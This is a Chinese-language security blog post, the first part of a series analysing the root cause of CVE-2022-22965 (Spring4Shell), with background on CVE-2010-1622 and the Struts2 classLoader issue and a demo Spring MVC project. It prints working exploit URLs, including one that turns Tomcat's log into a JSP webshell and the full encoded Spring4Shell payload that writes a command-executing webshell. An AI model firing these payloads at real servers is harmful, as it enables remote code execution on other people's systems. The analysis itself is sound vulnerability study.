浅谈CVE-2022-22965漏洞成因(一)

admin 2022年6月30日01:51:26浅谈CVE-2022-22965漏洞成因(一)已关闭评论138 views字数 6207阅读20分41秒阅读模式

前言:记录一篇自己入门java安全的故事,捋一下思路,轻量知识 ,重在调试 !

.

这篇文章四个部分:

引入篇:整理一下CVE-2022-22965漏洞的来龙去脉

基础篇:回顾Java中一些基础的内容

调试篇:阅读Spring MVC部分源码

分析篇:分析篇:分析CVE-2010-1622、CVE-2022-22965的漏洞成因

.

引入篇

我们知道,在Java中有三大框架的说法,不同时代采取的框架组合方式不同,一个大概的历史进程是:

SSH(Struts、Spring 和 Hibernate)—>SSM(Spring、SpringMVC 和 MyBatis)—>SpringBoot

在这个过程中,MVC作为经典的设计模式在这些框架中一直扮演着很重要的角色(MVC,Model 数据,View 视图,Controller控制器),Spring系列中对MVC设计模式的实现就是我们开发中经常用到的Spring MVC 框架。

浅谈CVE-2022-22965漏洞成因(一)
对于Spring MVC 框架来说,它要实现的一个重要的功能就是请求参数自动绑定。在PHP中如果要完成一个前端请求到后端接受的过程,通常需要在后端使用超全局变量 $_GET$_POST手动绑定HTTP/HTTPS请求报文封装的参数参数;但是,对于一个使用了Spring MVC框架的Java Web项目来说,我们仅仅需要在处理器的方法上挂一个注解,这个参数绑定过程就会自动地被Spring MVC完成(如,@Controller注解,@RequestMapping(value)注解 )。

.

CVE-2022-22965 这个漏洞的成因就发生在Spring MVC参数自动绑定的这个过程中

.

在开始具体的分析之前,我们先来看几个的案例,通过这些例子,会对CVE-2022-22965这个漏洞的成因有一个大致地全局性的认识。

1、CVE-2010-1622变量覆盖问题导致的任意代码执行

在CVE-2010-1622中,存在一个变量覆盖问题,Spring MVC对于前端传过来的数组类型的变量,会直接调用底层赋值,绕过了正常的反射调用Bean.setter对Bean的属性赋值的流程。

更近一步的,由于Java中所有的类都继承自Object类,且Object类存在一个获取Class类实例的getClass方法,因此Spring MVC通过内省(Introspector)一个类获取Bean属性时,属性列表中会有一个class属性。

最后通过class属性递归获取到classLoader,并通过修改classLoader加载了一个恶意类,直接造成了任意代码执行漏洞。

浅谈CVE-2022-22965漏洞成因(一)

2、Struts2框架的S-20漏洞造成的DOS和任意命令执行

在Struts2框架的S-20漏洞中也有用到通过classLoader 来实现恶意攻击的思想,通过控制Tomcat的应用目录,使其指向一个不存在的目录,以此直接造成了服务器被DOS掉。

浅谈CVE-2022-22965漏洞成因(一)

浅谈CVE-2022-22965漏洞成因(一)

另外,还有通过classLoader控制Tomcat的服务器日志,通过改变日志文件格式使其成为一个jsp文件,以此写入一个webshell,在这之后,如果访问 日志.jsp文件 时带入恶意命令,将直接造成任意命令执行。

```
http://127.0.0.1:8080/FirstStruts2/login?class.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT

http://127.0.0.1:8080/FirstStruts2/login?class.classLoader.resources.context.parent.pipeline.first.prefix=shell

http://127.0.0.1:8080/FirstStruts2/login?
class.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

http://127.0.0.1:8080/FirstStruts2/login?
class.classLoader.resources.context.parent.pipeline.first.fileDateFormat=2

http://127.0.0.1:8080/FirstStruts2/aaa.jsp?=<%Runtime.getRuntime().exec("calc");%>
```

(这里忘记存图了,放上一张yiran4827师傅的图)

浅谈CVE-2022-22965漏洞成因(一)

3、CVE-2022-22965利用Java9新特性module属性绕过classLoader waf导致的任意命令执行

CVE-2022-22965中任然用到了例2中通过classLoader控制Tomcat服务器日志文件并写入webshell的攻击手法,仅仅是在payload上多加了个 moudule关键字,修改版的payload是对例2中漏洞修补的绕过,而绕过的原因则是因为 jdk 9 引入了 module

http://localhost:8090/SpringMVC5_war/spring/info?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

浅谈CVE-2022-22965漏洞成因(一)

(注意,需要处理url编码问题)

4、Spring MVC框架的变量覆盖问题

CVE-2010-1622里的变量覆盖问题导致了任意代码执行,但由于太古老了,且利用条件苛刻,应该已经不太可能了( tomcat版本6左右 + Spring版本3左右 ),但是变量覆盖的问题一直到Spring版本5还存在。

.

我们创建一个简易的Spring MVC项目来了解一下这个问题 ( Spirng 5.2.8,jdk11.0.2 和 Tomcat 9.0.0 )

配置一下web.xml,内容如下:

```xml
<?xml version="1.0" encoding="UTF-8"?>

<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"

     xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

     xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"

     version="4.0">

<!--注册servlet-->

<servlet>

    <servlet-name>SpringMVC</servlet-name>

    <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>

    <!--初始化Spring配置文件的位置-->

    <init-param>

        <param-name>contextConfigLocation</param-name>

        <param-value>classpath:springmvc-servlet.xml</param-value>

    </init-param>

    <!--启动顺序,数字越小,启动越早-->

    <load-on-startup>1</load-on-startup>

</servlet>

<!--所有的请求都会被SpringMVC拦截-->

<servlet-mapping>

    <servlet-name>SpringMVC</servlet-name>

    <url-pattern>/</url-pattern>

</servlet-mapping>


```

src目录下放个springmvc-servlet.xml配置文件,内容如下:

```xml
<?xml version="1.0" encoding="UTF-8"?>

<!-- 自动扫描包,让指定包下的注解生效,由IOC容器统一管理 -->
<context:component-scan base-package="controller"/>

<!-- 支持mvc注解驱动-->
<mvc:annotation-driven/>

<!-- 视图解析器 -->
<bean class="org.springframework.web.servlet.view.InternalResourceViewResolver"
      id="internalResourceViewResolver">
    <!-- 前缀 -->
    <property name="prefix" value="/WEB-INF/"/>
    <!-- 后缀 -->
    <property name="suffix" value=".jsp"/>
</bean>

```

src目录下创建两个包名,分别为controller和pojo,controller包下写个名为FirstController的控制器,内容如下:

```java
package controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import pojo.People;

@Controller
@RequestMapping(value = "/level")
public class FirstController {

@RequestMapping(value = "/welcome")
public String welcome() {
    System.out.println("welcome!");
    return "welcome";

}

@RequestMapping(value = "/info", method = RequestMethod.GET)
public String  info(People people) {
    System.out.println("nick:" + people.getNick());
    System.out.println("job:" + people.getJob());
    System.out.println("hobby:"+ people.getHobby()[0]);
    return "info";
}

}
```

pojo包下写个People类用来封装请求参数,内容如下:

```java
package pojo;

public class People {

private String nick;
private String job;
private String hobby[] = new String[]{"eat"};

public String getNick() {
    return nick;
}

public String getJob() {
    return job;
}

public String[] getHobby() {
    return hobby;
}

public void setNick(String nick) {
    this.nick = nick;
}

}
```

最后写上3个简易的视图文件,内容如下:

index.jsp

jsp
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>首页</title>
</head>
<body>
<h1> 首页</h1>
</body>
</html>

info.jsp

jsp
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Info</title>
</head>
<body>
<h1>Info</h1>
</body>
</html>

welcome.jsp

jsp
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>welcome</title>
</head>
<body>
<h1>Welcome</h1>
</body>
</html>

项目运行起来后,看一下实际的效果:

浅谈CVE-2022-22965漏洞成因(一)

实际上:

  • 在我们的People类中,我们定义了 nickjobhobby这三个变量,且这三个变量都有对应的 getter方法
  • 特殊的,我们只写了个 nick变量对应的 setter方法,以及 hobby变量是一个数组类型的变量,且已经赋予初值,即 hobby[0] = "eat"
  • 这就意味着,三个变量中仅 nick是可修改的,jobhobby是不可修改的

浅谈CVE-2022-22965漏洞成因(一)
FirstController控制器的 info方法会将People类的三个属性变量的值打印到后台,我们来看一下效果:

浅谈CVE-2022-22965漏洞成因(一)

不带参数时:

仅能获得 hobby变量的值,此时访问后获得了预期解

浅谈CVE-2022-22965漏洞成因(一)

浅谈CVE-2022-22965漏洞成因(一)

带入参数时:

nickjobhobby变量都赋值,访问后预期解应该是 nick赋值成功,jobhobby赋值失败,不过,此时就可以发现,即使 jobhobby变量都没有 setter方法,但是 hobby变量却可以被赋值成功!

浅谈CVE-2022-22965漏洞成因(一)

浅谈CVE-2022-22965漏洞成因(一)

.

后面,我们会从Spring MVC框架的这个变量覆盖问题切入,来对Spring MVC框架进行简答的调试与学习,并以此来对Spring MVC框架的设计原理进行一丝窥探 !

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月30日01:51:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   浅谈CVE-2022-22965漏洞成因(一)http://cn-sec.com/archives/1148877.html